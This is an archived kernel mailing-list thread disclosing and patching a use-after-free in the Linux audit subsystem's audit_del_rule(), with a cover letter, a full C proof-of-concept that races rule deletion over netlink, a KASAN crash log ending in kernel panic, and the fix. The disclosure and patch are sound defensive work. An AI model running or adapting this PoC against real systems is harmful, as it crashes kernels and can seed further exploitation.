* [PATCH 0/1] audit: fix use-after-free in audit_del_rule
@ 2026-07-21 15:37 Ren Wei
2026-07-21 15:37 ` [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule() Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-21 15:37 UTC (permalink / raw)
To: audit; +Cc: paul, eparis, rgb, vega, rakukuip, enjou1224z
From: Luxiao Xu <rakukuip@gmail.com>
Hi Linux kernel maintainers,
We found and validated an issue in kernel/auditfilter.c. The bug is reachable by a local user via the audit subsystem.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
audit_del_rule() destroys e->rule.exe via audit_remove_mark_rule()
before unlinking the rule from RCU-visible filter lists and waiting for a
grace period. Concurrent readers in audit_filter() and
audit_filter_rules() still dereference e->rule.exe, while the fsnotify
mark can be freed on an independent lifetime path. This creates a use-after-free
window on rule->exe during rule deletion.
To fix this, we ensure that the rule is unlinked from the RCU-visible lists and
synchronize_rcu() is invoked before calling audit_remove_mark_rule(). This
guarantees that all existing RCU readers have exited their critical sections
before any underlying resources are destroyed.
Reproducer:
gcc -O2 -static -o poc poc.c
./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/audit.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>
#ifndef SYS_gettid
#define SYS_gettid __NR_gettid
#endif
static atomic_int g_stop = 0;
struct rule_blob {
struct audit_rule_data *rule;
size_t len;
};
static struct rule_blob g_rule;
static int nl_open(void)
{
int fd;
struct sockaddr_nl addr;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_AUDIT);
if (fd < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
addr.nl_pid = (uint32_t)syscall(SYS_gettid);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(fd);
return -1;
}
return fd;
}
static int nl_send(int fd, uint16_t type, const void *payload, size_t payload_len,
uint16_t flags, uint32_t seq)
{
char buf[16384];
struct nlmsghdr *h = (struct nlmsghdr *)buf;
struct sockaddr_nl dst;
struct iovec iov;
struct msghdr msg;
if (NLMSG_SPACE(payload_len) > sizeof(buf))
return -EMSGSIZE;
memset(h, 0, NLMSG_SPACE(payload_len));
h->nlmsg_len = NLMSG_LENGTH(payload_len);
h->nlmsg_type = type;
h->nlmsg_flags = NLM_F_REQUEST | flags;
h->nlmsg_seq = seq;
if (payload_len)
memcpy(NLMSG_DATA(h), payload, payload_len);
memset(&dst, 0, sizeof(dst));
dst.nl_family = AF_NETLINK;
iov.iov_base = h;
iov.iov_len = h->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &dst;
msg.msg_namelen = sizeof(dst);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(fd, &msg, 0) < 0)
return -errno;
return 0;
}
static int nl_ack(int fd, uint32_t seq)
{
char buf[8192];
for (;;) {
ssize_t n = recv(fd, buf, sizeof(buf), 0);
if (n < 0) {
if (errno == EINTR)
continue;
return -errno;
}
for (struct nlmsghdr *h = (struct nlmsghdr *)buf;
NLMSG_OK(h, (unsigned int)n);
h = NLMSG_NEXT(h, n)) {
if (h->nlmsg_type != NLMSG_ERROR)
continue;
if (h->nlmsg_seq != seq)
continue;
return ((struct nlmsgerr *)NLMSG_DATA(h))->error;
}
}
}
static int nl_req_ack(int fd, uint16_t type, const void *payload, size_t payload_len, uint32_t seq)
{
int ret = nl_send(fd, type, payload, payload_len, NLM_F_ACK, seq);
if (ret < 0)
return ret;
return nl_ack(fd, seq);
}
static int set_audit_enabled(int fd, int enabled)
{
struct audit_status st;
memset(&st, 0, sizeof(st));
st.mask = AUDIT_STATUS_ENABLED;
st.enabled = enabled;
return nl_req_ack(fd, AUDIT_SET, &st, sizeof(st), 0x100);
}
static struct rule_blob build_rule(const char *exe)
{
struct rule_blob rb = {0};
size_t exe_len = strlen(exe);
size_t len = sizeof(struct audit_rule_data) + exe_len;
struct audit_rule_data *r = calloc(1, len);
int sysno = __NR_gettid;
if (!r)
return rb;
r->flags = AUDIT_FILTER_EXIT;
r->action = AUDIT_NEVER;
if (sysno >= 0 && sysno < AUDIT_BITMASK_SIZE * 32)
r->mask[AUDIT_WORD(sysno)] |= AUDIT_BIT(sysno);
r->field_count = AUDIT_MAX_FIELDS;
for (int i = 0; i < AUDIT_MAX_FIELDS - 1; i++) {
r->fields[i] = AUDIT_UID;
r->values[i] = 0;
r->fieldflags[i] = AUDIT_EQUAL;
}
r->fields[AUDIT_MAX_FIELDS - 1] = AUDIT_EXE;
r->values[AUDIT_MAX_FIELDS - 1] = (uint32_t)exe_len;
r->fieldflags[AUDIT_MAX_FIELDS - 1] = AUDIT_EQUAL;
r->buflen = (uint32_t)exe_len;
memcpy(r->buf, exe, exe_len);
rb.rule = r;
rb.len = len;
return rb;
}
static void *syscall_thread(void *arg)
{
(void)arg;
while (!atomic_load_explicit(&g_stop, memory_order_relaxed)) {
(void)syscall(__NR_gettid);
asm volatile("" ::: "memory");
}
return NULL;
}
static void *churn_thread(void *arg)
{
int fd = nl_open();
uint32_t seq = 0x200000 + (uint32_t)(intptr_t)arg * 100000;
if (fd < 0)
return NULL;
while (!atomic_load_explicit(&g_stop, memory_order_relaxed)) {
(void)nl_send(fd, AUDIT_DEL_RULE, g_rule.rule, g_rule.len, 0, seq++);
(void)nl_send(fd, AUDIT_ADD_RULE, g_rule.rule, g_rule.len, 0, seq++);
}
close(fd);
return NULL;
}
int main(int argc, char **argv)
{
int runtime = 180;
int syscall_threads = 64;
int churners = 8;
int fd, ret;
pthread_t *tids;
if (argc > 1)
runtime = atoi(argv[1]);
if (argc > 2)
syscall_threads = atoi(argv[2]);
if (argc > 3)
churners = atoi(argv[3]);
if (syscall_threads < 1)
syscall_threads = 1;
if (churners < 1)
churners = 1;
g_rule = build_rule("/tmp/poc_exit");
if (!g_rule.rule) {
fprintf(stderr, "build_rule failed\n");
return 1;
}
fd = nl_open();
if (fd < 0) {
perror("nl_open");
return 1;
}
ret = set_audit_enabled(fd, 1);
if (ret < 0)
fprintf(stderr, "AUDIT_SET enable failed: %d (%s)\n", ret, strerror(-ret));
ret = nl_req_ack(fd, AUDIT_ADD_RULE, g_rule.rule, g_rule.len, 0x200);
if (ret < 0 && ret != -EEXIST) {
fprintf(stderr, "AUDIT_ADD_RULE failed: %d (%s)\n", ret, strerror(-ret));
return 1;
}
tids = calloc((size_t)(syscall_threads + churners), sizeof(*tids));
if (!tids)
return 1;
printf("start runtime=%d syscall_threads=%d churners=%d\n", runtime, syscall_threads, churners);
fflush(stdout);
for (int i = 0; i < syscall_threads; i++)
pthread_create(&tids[i], NULL, syscall_thread, NULL);
for (int i = 0; i < churners; i++)
pthread_create(&tids[syscall_threads + i], NULL, churn_thread, (void *)(intptr_t)i);
sleep(runtime);
atomic_store(&g_stop, 1);
for (int i = 0; i < syscall_threads + churners; i++)
pthread_join(tids[i], NULL);
(void)nl_req_ack(fd, AUDIT_DEL_RULE, g_rule.rule, g_rule.len, 0x300);
(void)set_audit_enabled(fd, 0);
close(fd);
free(tids);
free(g_rule.rule);
puts("done");
return 0;
}
------END poc.c--------
----BEGIN crash log----
root@syzkaller:/mnt/home_host/new_poc# ./poc
[ 257.926507][ T30] audit: type=1305 audit(1784610146.851:113): auid=0 ses=11
start runtime=180 syscall_threads=64 churners=8
[ 258.455876][ T9267] =========================================================
[ 258.456796][ T9267] BUG: KASAN: slab-use-after-free in audit_mark_compare+0x0
[ 258.457821][ T9267] Read of size 8 at addr ffff88801fb6f708 by task poc/9267
[ 258.458538][ T9267]
[ 258.458926][ T9267] CPU: 0 UID: 0 PID: 9267 Comm: poc Not tainted 7.0.0-rc6-
[ 258.458941][ T9267] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4
[ 258.458957][ T9267] Call Trace:
[ 258.458978][ T9267] <TASK>
[ 258.458981][ T9267] dump_stack_lvl+0x10e/0x1f0
[ 258.459094][ T9267] print_report+0xf7/0x600
[ 258.459216][ T9267] ? preempt_count_sub+0x13/0xd0
[ 258.459244][ T9267] ? __virt_addr_valid+0x1ab/0x330
[ 258.459282][ T9267] ? __phys_addr+0x41/0x90
[ 258.459298][ T9267] ? audit_mark_compare+0x21/0xa0
[ 258.459308][ T9267] kasan_report+0xe4/0x120
[ 258.459316][ T9267] ? audit_mark_compare+0x21/0xa0
[ 258.459338][ T9267] audit_mark_compare+0x21/0xa0
[ 258.459365][ T9267] audit_exe_compare+0xba/0xd0
[ 258.459375][ T9267] audit_filter_rules+0x1332/0x2680
[ 258.459384][ T9267] ? __pfx___schedule+0x10/0x10
[ 258.459539][ T9267] ? __pfx_audit_filter_rules+0x10/0x10
[ 258.459547][ T9267] ? __pfx___schedule+0x10/0x10
[ 258.459571][ T9267] __audit_filter_op+0x1a9/0x260
[ 258.459580][ T9267] ? __pfx___audit_filter_op+0x10/0x10
[ 258.459587][ T9267] ? lock_acquire+0x303/0x360
[ 258.459633][ T9267] ? lock_release+0x225/0x2f0
[ 258.459639][ T9267] audit_filter_syscall.part.0+0x72/0x1b0
[ 258.459647][ T9267] __audit_syscall_exit+0x121/0x1d0
[ 258.459655][ T9267] do_syscall_64+0x7bf/0x800
[ 258.459668][ T9267] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 258.459698][ T9267] RIP: 0033:0x4280bd
[ 258.459724][ T9267] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa8
[ 258.459730][ T9267] RSP: 002b:00007faa73a36208 EFLAGS: 00000246 ORIG_RAX: 00a
[ 258.459750][ T9267] RAX: 0000000000002433 RBX: 00007faa73a36cdc RCX: 0000000d
[ 258.459754][ T9267] RDX: 00000000004280bd RSI: 00000000004280bd RDI: 0000000d
[ 258.459806][ T9267] RBP: 00007faa73a36240 R08: 0000000000000000 R09: 00000000
[ 258.459810][ T9267] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fa0
[ 258.459814][ T9267] R13: ffffffffffffffb8 R14: 0000000000000000 R15: 00007ff0
[ 258.459821][ T9267] </TASK>
[ 258.459823][ T9267]
[ 258.480147][ T30] audit: type=1305 audit(1784610147.361:114): auid=0 ses=11
[ 258.480521][ T9267] Allocated by task 9264:
[ 258.481306][ T30] audit: type=1305 audit(1784610147.361:115): auid=0 ses=10
[ 258.481949][ T9267] kasan_save_stack+0x33/0x60
[ 258.487115][ T9267] kasan_save_track+0x14/0x30
[ 258.487644][ T9267] __kasan_kmalloc+0xaa/0xb0
[ 258.488362][ T9267] audit_alloc_mark+0x352/0x390
[ 258.488973][ T9267] audit_data_to_entry+0xb95/0x1550
[ 258.489458][ T9267] audit_rule_change+0x2de/0x9b0
[ 258.489910][ T9267] audit_receive_msg+0x9f1/0x26c0
[ 258.490375][ T9267] audit_receive+0x1e6/0x320
[ 258.491308][ T9267] netlink_unicast+0x44c/0x5c0
[ 258.491813][ T9267] netlink_sendmsg+0x493/0x8c0
[ 258.492271][ T9267] ____sys_sendmsg+0x78e/0x7c0
[ 258.492751][ T9267] ___sys_sendmsg+0x129/0x1b0
[ 258.493491][ T9267] __sys_sendmsg+0x133/0x1d0
[ 258.493914][ T9267] do_syscall_64+0x116/0x800
[ 258.494340][ T9267] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 258.495011][ T9267]
[ 258.495241][ T9267] Freed by task 56:
[ 258.495636][ T9267] kasan_save_stack+0x33/0x60
[ 258.496062][ T9267] kasan_save_track+0x14/0x30
[ 258.496508][ T9267] kasan_save_free_info+0x3b/0x60
[ 258.496992][ T9267] __kasan_slab_free+0x5f/0x80
[ 258.497414][ T9267] kfree+0x2e2/0x6c0
[ 258.497768][ T9267] fsnotify_final_mark_destroy+0x46/0x70
[ 258.498309][ T9267] fsnotify_mark_destroy_workfn+0x18d/0x220
[ 258.498823][ T9267] process_one_work+0x62b/0xfb0
[ 258.499393][ T9267] worker_thread+0x3fd/0x7e0
[ 258.499857][ T9267] kthread+0x221/0x280
[ 258.500263][ T9267] ret_from_fork+0x899/0x9b0
[ 258.500695][ T9267] ret_from_fork_asm+0x1a/0x30
[ 258.501142][ T9267]
[ 258.501470][ T9267] The buggy address belongs to the object at ffff88801fb6f0
[ 258.501470][ T9267] which belongs to the cache kmalloc-192 of size 192
[ 258.503484][ T9267] The buggy address is located 8 bytes inside of
[ 258.503484][ T9267] freed 192-byte region [ffff88801fb6f700, ffff88801fb6f7)
[ 258.504798][ T9267]
[ 258.505036][ T9267] The buggy address belongs to the physical page:
[ 258.505668][ T9267] page: refcount:0 mapcount:0 mapping:0000000000000000 indf
[ 258.506476][ T9267] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
[ 258.507106][ T9267] page_type: f5(slab)
[ 258.507786][ T9267] raw: 00fff00000000000 ffff8880178413c0 dead000000000100 2
[ 258.508902][ T9267] raw: 0000000000000000 0000000800100010 00000000f5000000 0
[ 258.509716][ T9267] page dumped because: kasan: bad access detected
[ 258.510322][ T9267] page_owner tracks the page as allocated
[ 258.510896][ T9267] page last allocated via order 0, migratetype Unmovable, 4
[ 258.512959][ T9267] post_alloc_hook+0xe6/0x100
[ 258.513426][ T9267] get_page_from_freelist+0x55c/0x2210
[ 258.513918][ T9267] __alloc_frozen_pages_noprof+0x221/0x1cb0
[ 258.514481][ T9267] new_slab+0xa2/0x5f0
[ 258.514873][ T9267] refill_objects+0xe3/0x430
[ 258.515330][ T9267] __pcs_replace_empty_main+0x2ed/0x650
[ 258.516237][ T9267] __kmalloc_noprof+0x658/0x820
[ 258.517049][ T9267] usb_alloc_urb+0x73/0xa0
[ 258.517562][ T9267] usb_control_msg+0x121/0x290
[ 258.518032][ T9267] usb_get_descriptor+0x9d/0x160
[ 258.518496][ T9267] usb_get_device_descriptor+0x5a/0xc0
[ 258.519017][ T9267] register_root_hub+0xb0/0x400
[ 258.519488][ T9267] usb_add_hcd+0x737/0xd90
[ 258.520235][ T9267] dummy_hcd_probe+0x108/0x240
[ 258.520782][ T9267] platform_probe+0xb4/0x130
[ 258.521236][ T9267] really_probe+0x1a0/0x6f0
[ 258.521669][ T9267] page last free pid 1 tgid 1 stack trace:
[ 258.522261][ T9267] __free_frozen_pages+0x52d/0x960
[ 258.522762][ T9267] qlist_free_all+0x47/0xf0
[ 258.523202][ T9267] kasan_quarantine_reduce+0x195/0x1e0
[ 258.523702][ T9267] __kasan_slab_alloc+0x69/0x90
[ 258.524316][ T9267] __kmalloc_cache_noprof+0x23e/0x6e0
[ 258.524911][ T9267] device_add+0x9e7/0x1060
[ 258.525338][ T9267] usb_new_device+0x826/0xe20
[ 258.525793][ T9267] register_root_hub+0x196/0x400
[ 258.526226][ T9267] usb_add_hcd+0x737/0xd90
[ 258.526618][ T9267] dummy_hcd_probe+0x108/0x240
[ 258.527126][ T9267] platform_probe+0xb4/0x130
[ 258.527597][ T9267] really_probe+0x1a0/0x6f0
[ 258.527989][ T9267] __driver_probe_device+0x15d/0x300
[ 258.528889][ T9267] driver_probe_device+0x4a/0x140
[ 258.529368][ T9267] __device_attach_driver+0x14a/0x240
[ 258.530030][ T9267] bus_for_each_drv+0x130/0x1a0
[ 258.530758][ T9267]
[ 258.531521][ T9267] Memory state around the buggy address:
[ 258.532580][ T9267] ffff88801fb6f600: 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 258.533421][ T9267] ffff88801fb6f680: 00 fc fc fc fc fc fc fc fc fc fc fc fc
[ 258.534107][ T9267] >ffff88801fb6f700: fa fb fb fb fb fb fb fb fb fb fb fb fb
[ 258.534811][ T9267] ^
[ 258.535202][ T9267] ffff88801fb6f780: fb fb fb fb fb fb fb fb fc fc fc fc fc
[ 258.535905][ T9267] ffff88801fb6f800: 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 258.536800][ T9267] =========================================================
[ 258.579900][ T30] audit: type=1300 audit(1784610147.361:115): arch=c000003)
[ 258.773269][ T30] audit: type=1327 audit(1784610147.361:115): proctitle="."
[ 258.774357][ T30] audit: type=1305 audit(1784610147.361:116): auid=0 ses=11
[ 258.859256][ T30] audit: type=1300 audit(1784610147.361:116): arch=c000003)
[ 258.992339][ T30] audit: type=1327 audit(1784610147.361:116): proctitle="."
[ 258.993143][ T30] audit: type=1300 audit(1784610147.361:114): arch=c000003)
[ 259.140572][ T30] audit: type=1306 audit(1784610147.361:114): saddr=1000000
[ 261.216937][ T9267] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 261.217841][ T9267] CPU: 0 UID: 0 PID: 9267 Comm: poc Not tainted 7.0.0-rc6-
[ 261.218702][ T9267] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4
[ 261.219693][ T9267] Call Trace:
[ 261.219971][ T9267] <TASK>
[ 261.220216][ T9267] dump_stack_lvl+0x3b/0x1f0
[ 261.220601][ T9267] vpanic+0x8b4/0x930
[ 261.220972][ T9267] ? __pfx_vpanic+0x10/0x10
[ 261.221574][ T9267] ? audit_mark_compare+0x21/0xa0
[ 261.222155][ T9267] panic+0xca/0xd0
[ 261.222521][ T9267] ? __pfx_panic+0x10/0x10
[ 261.223114][ T9267] ? audit_mark_compare+0x21/0xa0
[ 261.224082][ T9267] ? preempt_schedule_thunk+0x16/0x40
[ 261.224628][ T9267] ? preempt_schedule_common+0x3b/0x80
[ 261.225514][ T9267] ? preempt_schedule_thunk+0x16/0x40
[ 261.226494][ T9267] ? check_panic_on_warn+0x1f/0xb0
[ 261.227600][ T9267] check_panic_on_warn+0xab/0xb0
[ 261.228426][ T9267] end_report+0x132/0x180
[ 261.228933][ T9267] kasan_report+0xf4/0x120
[ 261.229375][ T9267] ? audit_mark_compare+0x21/0xa0
[ 261.229826][ T9267] audit_mark_compare+0x21/0xa0
[ 261.230429][ T9267] audit_exe_compare+0xba/0xd0
[ 261.230947][ T9267] audit_filter_rules+0x1332/0x2680
[ 261.231437][ T9267] ? __pfx___schedule+0x10/0x10
[ 261.232123][ T9267] ? __pfx_audit_filter_rules+0x10/0x10
[ 261.232760][ T9267] ? __pfx___schedule+0x10/0x10
[ 261.233226][ T9267] __audit_filter_op+0x1a9/0x260
[ 261.233681][ T9267] ? __pfx___audit_filter_op+0x10/0x10
[ 261.234230][ T9267] ? lock_acquire+0x303/0x360
[ 261.234647][ T9267] ? lock_release+0x225/0x2f0
[ 261.235083][ T9267] audit_filter_syscall.part.0+0x72/0x1b0
[ 261.235613][ T9267] __audit_syscall_exit+0x121/0x1d0
[ 261.236459][ T9267] do_syscall_64+0x7bf/0x800
[ 261.237258][ T9267] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 261.238087][ T9267] RIP: 0033:0x4280bd
[ 261.238453][ T9267] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa8
[ 261.240923][ T9267] RSP: 002b:00007faa73a36208 EFLAGS: 00000246 ORIG_RAX: 00a
[ 261.241676][ T9267] RAX: 0000000000002433 RBX: 00007faa73a36cdc RCX: 0000000d
[ 261.242408][ T9267] RDX: 00000000004280bd RSI: 00000000004280bd RDI: 0000000d
[ 261.243214][ T9267] RBP: 00007faa73a36240 R08: 0000000000000000 R09: 00000000
[ 261.243942][ T9267] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fa0
[ 261.244898][ T9267] R13: ffffffffffffffb8 R14: 0000000000000000 R15: 00007ff0
[ 261.245614][ T9267] </TASK>
[ 261.246561][ T9267] Kernel Offset: disabled
[ 261.247004][ T9267] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Luxiao Xu
Luxiao Xu (1):
audit: fix potential use-after-free in audit_del_rule()
kernel/auditfilter.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread* [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule()
2026-07-21 15:37 [PATCH 0/1] audit: fix use-after-free in audit_del_rule Ren Wei
@ 2026-07-21 15:37 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-21 15:37 UTC (permalink / raw)
To: audit; +Cc: paul, eparis, rgb, vega, rakukuip, enjou1224z
From: Luxiao Xu <rakukuip@gmail.com>
`audit_del_rule()` destroys `e->rule.exe` via `audit_remove_mark_rule()`
before unlinking the rule from RCU-visible filter lists and waiting for a
grace period. Concurrent readers in `audit_filter()` and
`audit_filter_rules()` still dereference `e->rule.exe`, while the fsnotify
mark can be freed on an independent lifetime path. This creates a use-after-free
window during rule deletion.
Fix this by unlinking the rule from the RCU-visible lists and invoking
`synchronize_rcu()` before calling `audit_remove_mark_rule()` (and other
rule removal helpers). This ensures that all existing RCU readers have exited
the critical section before any underlying resources are destroyed.
Fixes: 34d99af52ad4 ("audit: implement audit by executable")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
kernel/auditfilter.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/kernel/auditfilter.c b/kernel/auditfilter.c
index 4401119b5275..7f791afe5791 100644
--- a/kernel/auditfilter.c
+++ b/kernel/auditfilter.c
@@ -1045,6 +1045,10 @@ int audit_del_rule(struct audit_entry *entry)
goto out;
}
+ list_del_rcu(&e->list);
+ list_del(&e->rule.list);
+ synchronize_rcu();
+
if (e->rule.watch)
audit_remove_watch_rule(&e->rule);
@@ -1062,8 +1066,6 @@ int audit_del_rule(struct audit_entry *entry)
audit_signals--;
#endif
- list_del_rcu(&e->list);
- list_del(&e->rule.list);
call_rcu(&e->rcu, audit_free_rule_rcu);
out:
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-07-21 15:37 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-21 15:37 [PATCH 0/1] audit: fix use-after-free in audit_del_rule Ren Wei
2026-07-21 15:37 ` [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule() Ren Wei
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.